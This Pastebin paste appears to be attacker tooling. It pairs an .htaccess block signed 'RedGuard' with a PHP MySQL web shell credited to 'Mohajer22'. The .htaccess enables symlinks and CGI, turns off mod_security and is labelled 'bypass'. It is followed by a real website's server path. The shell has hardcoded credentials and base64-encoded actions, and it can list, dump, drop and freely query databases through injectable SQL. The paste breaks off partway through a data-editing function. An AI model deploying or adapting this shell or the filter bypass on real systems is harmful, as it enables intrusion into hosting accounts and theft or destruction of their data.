Guest User

Untitled

a guest
Jun 30th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.98 KB | None | 0 0
  1. Addhandler Modified By RedGuard
  2. Options +FollowSymLinks
  3. DirectoryIndex index.html
  4. Options +Indexes
  5. Options +ExecCGI
  6. AddType text/plain .php
  7. AddHandler server-parsed .php
  8. Addhandler cgi-script .asp
  9.  
  10. <IfModule mod_security.c>
  11. SecFilterEngine Off
  12. SecFilterScanPOST Off
  13. </IfModule>
  14.  
  15. bypass
  16. خاص بهذا النوع
  17. var/www/vhosts/spotelektrik.com.tr/httpdocs/cmtr/
  18.  
  19. <?
  20. $PASSWORD = "tryag_vb";
  21. $USERNAME = "102030";
  22.  
  23. if ( function_exists('ini_get') ) {
  24. $onoff = ini_get('register_globals');
  25. } else {
  26. $onoff = get_cfg_var('register_globals');
  27. }
  28. if ($onoff != 1) {
  29. @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  30. @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  31. @extract($HTTP_POST_FILES, EXTR_SKIP);
  32. @extract($HTTP_POST_VARS, EXTR_SKIP);
  33. @extract($HTTP_GET_VARS, EXTR_SKIP);
  34. @extract($HTTP_ENV_VARS, EXTR_SKIP);
  35. }
  36.  
  37. function logon() {
  38. global $PHP_SELF;
  39. setcookie( "mysql_web_admin_username" );
  40. setcookie( "mysql_web_admin_password" );
  41. setcookie( "mysql_web_admin_hostname" );
  42. echo "<table width=100% height=100%><tr><td><center>\n";
  43. echo "<table cellpadding=2><tr><td><center>\n";
  44. echo "<table cellpadding=20><tr><td><center>\n";
  45. echo "<h1>MySQL Interface (Developed By Mohajer22)</h1>\n";
  46. echo "<form action='$PHP_SELF'>\n";
  47. echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
  48. echo "<table cellpadding=5 cellspacing=1>\n";
  49. echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  50. echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  51. echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  52. echo "</table><p>\n";
  53. echo "<input type=submit value='Enter'>\n";
  54. echo "<input type=reset value='Clear'><br>\n";
  55. echo "</form>\n";
  56. echo "</center></td></tr></table>\n";
  57. echo "</center></td></tr></table>\n";
  58. echo "<p><hr width=300>\n";
  59. echo "</center></td></tr></table>\n";
  60. }
  61.  
  62. function logon_submit() {
  63. global $username, $password, $hostname ,$PHP_SELF;
  64. if($hostname =='')
  65. $hostname = 'localhost';
  66. setcookie( "mysql_web_admin_username", $username );
  67. setcookie( "mysql_web_admin_password", $password );
  68. setcookie( "mysql_web_admin_hostname", $hostname );
  69. echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
  70.  
  71. }
  72.  
  73. function echoQueryResult() {
  74. global $queryStr, $errMsg;
  75.  
  76. if( $errMsg == "" ) $errMsg = "Success";
  77. if( $queryStr != "" ) {
  78. echo "<table cellpadding=5>\n";
  79. echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  80. echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  81. echo "</table><p>\n";
  82. }
  83. }
  84.  
  85. function listDatabases() {
  86. global $mysqlHandle, $PHP_SELF;
  87.  
  88. echo "<h1>Databases List</h1>\n";
  89.  
  90. echo "<form action='$PHP_SELF'>\n";
  91. echo "<input type=hidden name=action value=createDB>\n";
  92. echo "<input type=text name=dbname>\n";
  93. echo "<input type=submit value='Create Database'>\n";
  94. echo "</form>\n";
  95. echo "<hr>\n";
  96.  
  97. echo "<table cellspacing=1 cellpadding=5>\n";
  98.  
  99. $pDB = mysql_list_dbs( $mysqlHandle );
  100. $num = mysql_num_rows( $pDB );
  101. for( $i = 0; $i < $num; $i++ ) {
  102. $dbname = mysql_dbname( $pDB, $i );
  103. echo "<tr>\n";
  104. echo "<td>$dbname</td>\n";
  105. echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  106. echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  107. echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  108. echo "</tr>\n";
  109. }
  110. echo "</table>\n";
  111. }
  112.  
  113. function createDatabase() {
  114. global $mysqlHandle, $dbname, $PHP_SELF;
  115.  
  116. mysql_create_db( $dbname, $mysqlHandle );
  117. listDatabases();
  118. }
  119.  
  120. function dropDatabase() {
  121. global $mysqlHandle, $dbname, $PHP_SELF;
  122.  
  123. mysql_drop_db( $dbname, $mysqlHandle );
  124. listDatabases();
  125. }
  126.  
  127. function listTables() {
  128. global $mysqlHandle, $dbname, $PHP_SELF;
  129.  
  130.  
  131. echo "<h1>Tables List</h1>\n";
  132. echo "<p class=location>$dbname</p>\n";
  133. echoQueryResult();
  134. echo "<form action='$PHP_SELF'>\n";
  135. echo "<input type=hidden name=action value=createTable>\n";
  136. echo "<input type=hidden name=dbname value=$dbname>\n";
  137. echo "<input type=text name=tablename>\n";
  138. echo "<input type=submit value='Create Table'>\n";
  139. echo "</form>\n";
  140. echo "<form action='$PHP_SELF'>\n";
  141. echo "<input type=hidden name=action value=query>\n";
  142. echo "<input type=hidden name=dbname value=$dbname>\n";
  143. echo "<input type=text size=120 name=queryStr>\n";
  144. echo "<input type=submit value='Query'>\n";
  145. echo "</form>\n";
  146. echo "<hr>\n";
  147.  
  148. $pTable = mysql_list_tables( $dbname );
  149.  
  150. if( $pTable == 0 ) {
  151. $msg = mysql_error();
  152. echo "<h3>Error : $msg</h3><p>\n";
  153. return;
  154. }
  155. $num = mysql_num_rows( $pTable );
  156.  
  157. echo "<table cellspacing=1 cellpadding=5>\n";
  158.  
  159. for( $i = 0; $i < $num; $i++ ) {
  160. $tablename = mysql_tablename( $pTable, $i );
  161.  
  162. echo "<tr>\n";
  163. echo "<td>\n";
  164. echo "$tablename\n";
  165. echo "</td>\n";
  166. echo "<td>\n";
  167. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  168. echo "</td>\n";
  169. echo "<td>\n";
  170. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  171. echo "</td>\n";
  172. echo "<td>\n";
  173. echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  174. echo "</td>\n";
  175. echo "<td>\n";
  176. echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  177. echo "</td>\n";
  178. echo "</tr>\n";
  179. }
  180.  
  181. echo "</table>";
  182. }
  183.  
  184. function createTable() {
  185. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  186.  
  187. $queryStr = "CREATE TABLE $tablename ( no INT )";
  188. mysql_select_db( $dbname, $mysqlHandle );
  189. mysql_query( $queryStr, $mysqlHandle );
  190. $errMsg = mysql_error();
  191.  
  192. listTables();
  193. }
  194.  
  195. function dropTable() {
  196. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  197.  
  198. $queryStr = "DROP TABLE $tablename";
  199. mysql_select_db( $dbname, $mysqlHandle );
  200. mysql_query( $queryStr, $mysqlHandle );
  201. $errMsg = mysql_error();
  202.  
  203. listTables();
  204. }
  205.  
  206. function viewSchema() {
  207. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  208.  
  209. echo "<h1>Table Schema</h1>\n";
  210. echo "<p class=location>$dbname > $tablename</p>\n";
  211.  
  212. echoQueryResult();
  213.  
  214. echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  215. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  216. echo "<hr>\n";
  217.  
  218. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  219. $num = mysql_num_rows( $pResult );
  220.  
  221. echo "<table cellspacing=1 cellpadding=5>\n";
  222. echo "<tr>\n";
  223. echo "<th>Field</th>\n";
  224. echo "<th>Type</th>\n";
  225. echo "<th>Null</th>\n";
  226. echo "<th>Key</th>\n";
  227. echo "<th>Default</th>\n";
  228. echo "<th>Extra</th>\n";
  229. echo "<th colspan=2>Action</th>\n";
  230. echo "</tr>\n";
  231.  
  232.  
  233. for( $i = 0; $i < $num; $i++ ) {
  234. $field = mysql_fetch_array( $pResult );
  235. echo "<tr>\n";
  236. echo "<td>".$field["Field"]."</td>\n";
  237. echo "<td>".$field["Type"]."</td>\n";
  238. echo "<td>".$field["Null"]."</td>\n";
  239. echo "<td>".$field["Key"]."</td>\n";
  240. echo "<td>".$field["Default"]."</td>\n";
  241. echo "<td>".$field["Extra"]."</td>\n";
  242. $fieldname = $field["Field"];
  243. echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  244. echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  245. echo "</tr>\n";
  246. }
  247. echo "</table>\n";
  248.  
  249. }
  250.  
  251. function manageField( $cmd ) {
  252. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  253.  
  254. if( $cmd == "add" )
  255. echo "<h1>Add Field</h1>\n";
  256. else if( $cmd == "edit" ) {
  257. echo "<h1>Edit Field</h1>\n";
  258. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  259. $num = mysql_num_rows( $pResult );
  260. for( $i = 0; $i < $num; $i++ ) {
  261. $field = mysql_fetch_array( $pResult );
  262. if( $field["Field"] == $fieldname ) {
  263. $fieldtype = $field["Type"];
  264. $fieldkey = $field["Key"];
  265. $fieldextra = $field["Extra"];
  266. $fieldnull = $field["Null"];
  267. $fielddefault = $field["Default"];
  268. break;
  269. }
  270. }
  271. $type = strtok( $fieldtype, " (,)\n" );
  272. if( strpos( $fieldtype, "(" ) ) {
  273. if( $type == "enum" | $type == "set" ) {
  274. $valuelist = strtok( " ()\n" );
  275. } else {
  276. $M = strtok( " (,)\n" );
  277. if( strpos( $fieldtype, "," ) )
  278. $D = strtok( " (,)\n" );
  279. }
  280. }
  281. }
  282.  
  283. echo "<p class=location>$dbname > $tablename</p>\n";
  284. echo "<form action=$PHP_SELF>\n";
  285.  
  286. if( $cmd == "add" )
  287. echo "<input type=hidden name=action value=addField_submit>\n";
  288. else if( $cmd == "edit" ) {
  289. echo "<input type=hidden name=action value=editField_submit>\n";
  290. echo "<input type=hidden name=old_name value=$fieldname>\n";
  291. }
  292. echo "<input type=hidden name=dbname value=$dbname>\n";
  293. echo "<input type=hidden name=tablename value=$tablename>\n";
  294.  
  295. echo "<h3>Name</h3>\n";
  296. echo "<input type=text name=name value=$fieldname><p>\n";
  297. echo '
  298.  
  299. <h3>Type</h3>
  300.  
  301. <font size=2>
  302. * `M\' indicates the maximum display size.<br>
  303. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  304. </font>
  305.  
  306. <table>
  307. <tr>
  308. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  309. </tr>
  310. <tr>
  311. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  312. <td align=center>O</td>
  313. <td>&nbsp</td>
  314. <td align=center>O</td>
  315. <td align=center>O</td>
  316. <td>&nbsp</td>
  317. </tr>
  318. <tr>
  319. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  320. <td align=center>O</td>
  321. <td>&nbsp</td>
  322. <td align=center>O</td>
  323. <td align=center>O</td>
  324. <td>&nbsp</td>
  325. </tr>
  326. <tr>
  327. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  328.  
  329. <td align=center>O</td>
  330. <td>&nbsp</td>
  331. <td align=center>O</td>
  332. <td align=center>O</td>
  333. <td>&nbsp</td>
  334. </tr>
  335. <tr>
  336. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  337. <td align=center>O</td>
  338. <td>&nbsp</td>
  339. <td align=center>O</td>
  340. <td align=center>O</td>
  341. <td>&nbsp</td>
  342. </tr>
  343. <tr>
  344. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  345. <td align=center>O</td>
  346. <td>&nbsp</td>
  347. <td align=center>O</td>
  348. <td align=center>O</td>
  349. <td>&nbsp</td>
  350. </tr>
  351. <tr>
  352. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  353. <td align=center>O</td>
  354. <td align=center>O</td>
  355. <td>&nbsp</td>
  356. <td align=center>O</td>
  357. <td>&nbsp</td>
  358. </tr>
  359. <tr>
  360. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  361. <td align=center>O</td>
  362. <td align=center>O</td>
  363. <td>&nbsp</td>
  364. <td align=center>O</td>
  365. <td>&nbsp</td>
  366. </tr>
  367. <tr>
  368. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  369. <td align=center>O</td>
  370. <td align=center>O</td>
  371. <td>&nbsp</td>
  372. <td align=center>O</td>
  373. <td>&nbsp</td>
  374. </tr>
  375. <tr>
  376. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  377. <td>&nbsp</td>
  378. <td>&nbsp</td>
  379. <td>&nbsp</td>
  380. <td>&nbsp</td>
  381. <td>&nbsp</td>
  382. </tr>
  383. <tr>
  384. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. <td>&nbsp</td>
  388. <td>&nbsp</td>
  389. <td>&nbsp</td>
  390. </tr>
  391. <tr>
  392. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  393. <td align=center>O</td>
  394. <td>&nbsp</td>
  395. <td>&nbsp</td>
  396. <td>&nbsp</td>
  397. <td>&nbsp</td>
  398. </tr>
  399. <tr>
  400. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  401. <td>&nbsp</td>
  402. <td>&nbsp</td>
  403. <td>&nbsp</td>
  404. <td>&nbsp</td>
  405. <td>&nbsp</td>
  406. </tr>
  407. <tr>
  408. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  409. <td>&nbsp</td>
  410. <td>&nbsp</td>
  411. <td>&nbsp</td>
  412. <td>&nbsp</td>
  413. <td>&nbsp</td>
  414. </tr>
  415. <tr>
  416. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  417. <td align=center>O</td>
  418. <td>&nbsp</td>
  419. <td>&nbsp</td>
  420. <td>&nbsp</td>
  421. <td align=center>O</td>
  422. </tr>
  423. <tr>
  424. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  425. <td align=center>O</td>
  426. <td>&nbsp</td>
  427. <td>&nbsp</td>
  428. <td>&nbsp</td>
  429. <td align=center>O</td>
  430. </tr>
  431. <tr>
  432. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  433. <td>&nbsp</td>
  434. <td>&nbsp</td>
  435. <td>&nbsp</td>
  436. <td>&nbsp</td>
  437. <td>&nbsp</td>
  438. </tr>
  439. <tr>
  440. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  441. <td>&nbsp</td>
  442. <td>&nbsp</td>
  443. <td>&nbsp</td>
  444. <td>&nbsp</td>
  445. <td>&nbsp</td>
  446. </tr>
  447. <tr>
  448. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  449. <td>&nbsp</td>
  450. <td>&nbsp</td>
  451. <td>&nbsp</td>
  452. <td>&nbsp</td>
  453. <td>&nbsp</td>
  454. </tr>
  455. <tr>
  456. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  457. <td>&nbsp</td>
  458. <td>&nbsp</td>
  459. <td>&nbsp</td>
  460. <td>&nbsp</td>
  461. <td>&nbsp</td>
  462. </tr>
  463. <tr>
  464. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  465. <td>&nbsp</td>
  466. <td>&nbsp</td>
  467. <td>&nbsp</td>
  468. <td>&nbsp</td>
  469. <td>&nbsp</td>
  470. </tr>
  471. <tr>
  472. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  473. <td>&nbsp</td>
  474. <td>&nbsp</td>
  475. <td>&nbsp</td>
  476. <td>&nbsp</td>
  477. <td>&nbsp</td>
  478. </tr>
  479. <tr>
  480. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  481. <td>&nbsp</td>
  482. <td>&nbsp</td>
  483. <td>&nbsp</td>
  484. <td>&nbsp</td>
  485. <td>&nbsp</td>
  486. </tr>
  487. <tr>
  488. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  489. <td>&nbsp</td>
  490. <td>&nbsp</td>
  491. <td>&nbsp</td>
  492. <td>&nbsp</td>
  493. <td>&nbsp</td>
  494. </tr>
  495. <tr>
  496. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  497. <td colspan=5><center>value list</center></td>
  498. </tr>
  499. <tr>
  500. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  501. <td colspan=5><center>value list</center></td>
  502. </tr>
  503.  
  504. </table>
  505. <table>
  506. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  507. <tr>
  508. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  509. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  510. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  511. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  512. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
  513. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  514. </tr>
  515. </table>
  516.  
  517.  
  518. <h3>Flags</h3>
  519. <table>
  520. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  521. <tr>
  522. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  523. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  524. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  525. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  526. </tr>
  527. </table>
  528.  
  529. <p>';
  530.  
  531. if( $cmd == "add" )
  532. echo "<input type=submit value='Add Field'>\n";
  533. else if( $cmd == "edit" )
  534. echo "<input type=submit value='Edit Field'>\n";
  535. echo "<input type=button value=Cancel onClick='history.back()'>\n";
  536. echo "</form>\n";
  537. }
  538.  
  539. function manageField_submit( $cmd ) {
  540. global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  541. $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  542.  
  543. if( $cmd == "add" )
  544. $queryStr = "ALTER TABLE $tablename ADD $name ";
  545. else if( $cmd == "edit" )
  546. $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  547.  
  548. if( $M != "" )
  549. if( $D != "" )
  550. $queryStr .= "$type($M,$D) ";
  551. else
  552. $queryStr .= "$type($M) ";
  553. else if( $valuelist != "" ) {
  554. $valuelist = stripslashes( $valuelist );
  555. $queryStr .= "$type($valuelist) ";
  556. } else
  557. $queryStr .= "$type ";
  558.  
  559. $queryStr .= "$unsigned $zerofill $binary ";
  560.  
  561. if( $default_value != "" )
  562. $queryStr .= "DEFAULT '$default_value' ";
  563.  
  564. $queryStr .= "$not_null $auto_increment";
  565.  
  566. mysql_select_db( $dbname, $mysqlHandle );
  567. mysql_query( $queryStr, $mysqlHandle );
  568. $errMsg = mysql_error();
  569.  
  570. // key change
  571. $keyChange = false;
  572. $result = mysql_query( "SHOW KEYS FROM $tablename" );
  573. $primary = "";
  574. while( $row = mysql_fetch_array($result) )
  575. if( $row["Key_name"] == "PRIMARY" ) {
  576. if( $row[Column_name] == $name )
  577. $keyChange = true;
  578. else
  579. $primary .= ", $row[Column_name]";
  580. }
  581. if( $primary_key == "PRIMARY KEY" ) {
  582. $primary .= ", $name";
  583. $keyChange = !$keyChange;
  584. }
  585. $primary = substr( $primary, 2 );
  586. if( $keyChange == true ) {
  587. $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  588. mysql_query( $q );
  589. $queryStr .= "<br>\n" . $q;
  590. $errMsg .= "<br>\n" . mysql_error();
  591. $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  592. mysql_query( $q );
  593. $queryStr .= "<br>\n" . $q;
  594. $errMsg .= "<br>\n" . mysql_error();
  595. }
  596.  
  597. viewSchema();
  598. }
  599.  
  600. function dropField() {
  601. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  602.  
  603. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  604. mysql_select_db( $dbname, $mysqlHandle );
  605. mysql_query( $queryStr , $mysqlHandle );
  606. $errMsg = mysql_error();
  607.  
  608. viewSchema();
  609. }
  610.  
  611. function viewData( $queryStr ) {
  612. global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  613.  
  614. echo "<h1>Data in Table</h1>\n";
  615. if( $tablename != "" )
  616. echo "<p class=location>$dbname > $tablename</p>\n";
  617. else
  618. echo "<p class=location>$dbname</p>\n";
  619.  
  620. $queryStr = stripslashes( $queryStr );
  621. if( $queryStr == "" ) {
  622. $queryStr = "SELECT * FROM $tablename";
  623. if( $orderby != "" )
  624. $queryStr .= " ORDER BY $orderby";
  625. echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  626. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  627. }
  628.  
  629. $pResult = mysql_db_query( $dbname, $queryStr );
  630. $fieldt = mysql_fetch_field($pResult);
  631. $tablename = $fieldt->table;
  632. $errMsg = mysql_error();
  633.  
  634. $GLOBALS[queryStr] = $queryStr;
  635.  
  636. if( $pResult == false ) {
  637. echoQueryResult();
  638. return;
  639. }
  640. if( $pResult == 1 ) {
  641. $errMsg = "Success";
  642. echoQueryResult();
  643. return;
  644. }
  645.  
  646. echo "<hr>\n";
  647.  
  648. $row = mysql_num_rows( $pResult );
  649. $col = mysql_num_fields( $pResult );
  650.  
  651. if( $row == 0 ) {
  652. echo "No Data Exist!";
  653. return;
  654. }
  655.  
  656. if( $rowperpage == "" ) $rowperpage = 30;
  657. if( $page == "" ) $page = 0;
  658. else $page--;
  659. mysql_data_seek( $pResult, $page * $rowperpage );
  660.  
  661. echo "<table cellspacing=1 cellpadding=2>\n";
  662. echo "<tr>\n";
  663. for( $i = 0; $i < $col; $i++ ) {
  664. $field = mysql_fetch_field( $pResult, $i );
  665. echo "<th>";
  666. if($action == "dmlld0RhdGE=")
  667. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  668. else
  669. echo $field->name."\n";
  670. echo "</th>\n";
  671. }
  672. echo "<th colspan=2>Action</th>\n";
  673. echo "</tr>\n";
  674.  
  675. for( $i = 0; $i < $rowperpage; $i++ ) {
  676. $rowArray = mysql_fetch_row( $pResult );
  677. if( $rowArray == false ) break;
  678. echo "<tr>\n";
  679. $key = "";
  680. for( $j = 0; $j < $col; $j++ ) {
  681. $data = $rowArray[$j];
  682.  
  683. $field = mysql_fetch_field( $pResult, $j );
  684. if( $field->primary_key == 1 )
  685. $key .= "&" . $field->name . "=" . $data;
  686.  
  687. if( strlen( $data ) > 30 )
  688. $data = substr( $data, 0, 30 ) . "...";
  689. $data = htmlspecialchars( $data );
  690. echo "<td>\n";
  691. echo "$data\n";
  692. echo "</td>\n";
  693. }
  694.  
  695. if( $key == "" )
  696. echo "<td colspan=2>no Key</td>\n";
  697. else {
  698. echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  699. echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  700. }
  701. echo "</tr>\n";
  702. }
  703. echo "</table>\n";
  704.  
  705. echo "<font size=2>\n";
  706. if($action == "dmlld0RhdGE=")
  707. echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
  708. else
  709. echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  710.  
  711. echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  712. echo "</font>\n";
  713. echo " | ";
  714. if( $page > 0 ) {
  715. if($action == "dmlld0RhdGE=")
  716. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
  717. else
  718. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  719. if( $orderby != "" && $action == "dmlld0RhdGE=")
  720. echo "&orderby=$orderby";
  721. echo "'>Prev</a>\n";
  722. } else
  723. echo "Prev";
  724. echo " | ";
  725. if( $page < ($row/$rowperpage)-1 ) {
  726. if($action == "dmlld0RhdGE=")
  727. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
  728. else
  729. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  730. if( $orderby != "" && $action == "dmlld0RhdGE=")
  731. echo "&orderby=$orderby";
  732. echo "'>Next</a>\n";
  733. } else
  734. echo "Next";
  735. echo " | ";
  736. if( $row > $rowperpage ) {
  737. echo "<input type=text size=4 name=page>\n";
  738. echo "<input type=submit value='Go'>\n";
  739. }
  740. echo "</form>\n";
  741. echo "</font>\n";
  742. }
  743.  
  744. function manageData( $cmd ) {
  745. global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  746.  
  747. if( $cmd == "add" )
  748. echo "<h1>Add Data</h1>\n";
  749. else if( $cmd == "edit" ) {
  750. echo "<h1>Edit Data</h1>\n";
  751. $pResult = mysql_list_fields( $dbname, $tablename );
  752. $num = mysql_num_fields( $pResult );
  753.  
  754. $key = "";
  755. for( $i = 0; $i < $num; $i++ ) {
  756. $field = mysql_fetch_field( $pResult, $i );
  757. if( $field->primary_key == 1 )
  758. if( $field->numeric == 1 )
  759. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  760. else
  761. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  762. }
  763. $key = substr( $key, 0, strlen($key)-4 );
  764.  
  765. mysql_select_db( $dbname, $mysqlHandle );
  766. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  767. $data = mysql_fetch_array( $pResult );
  768. }
  769.  
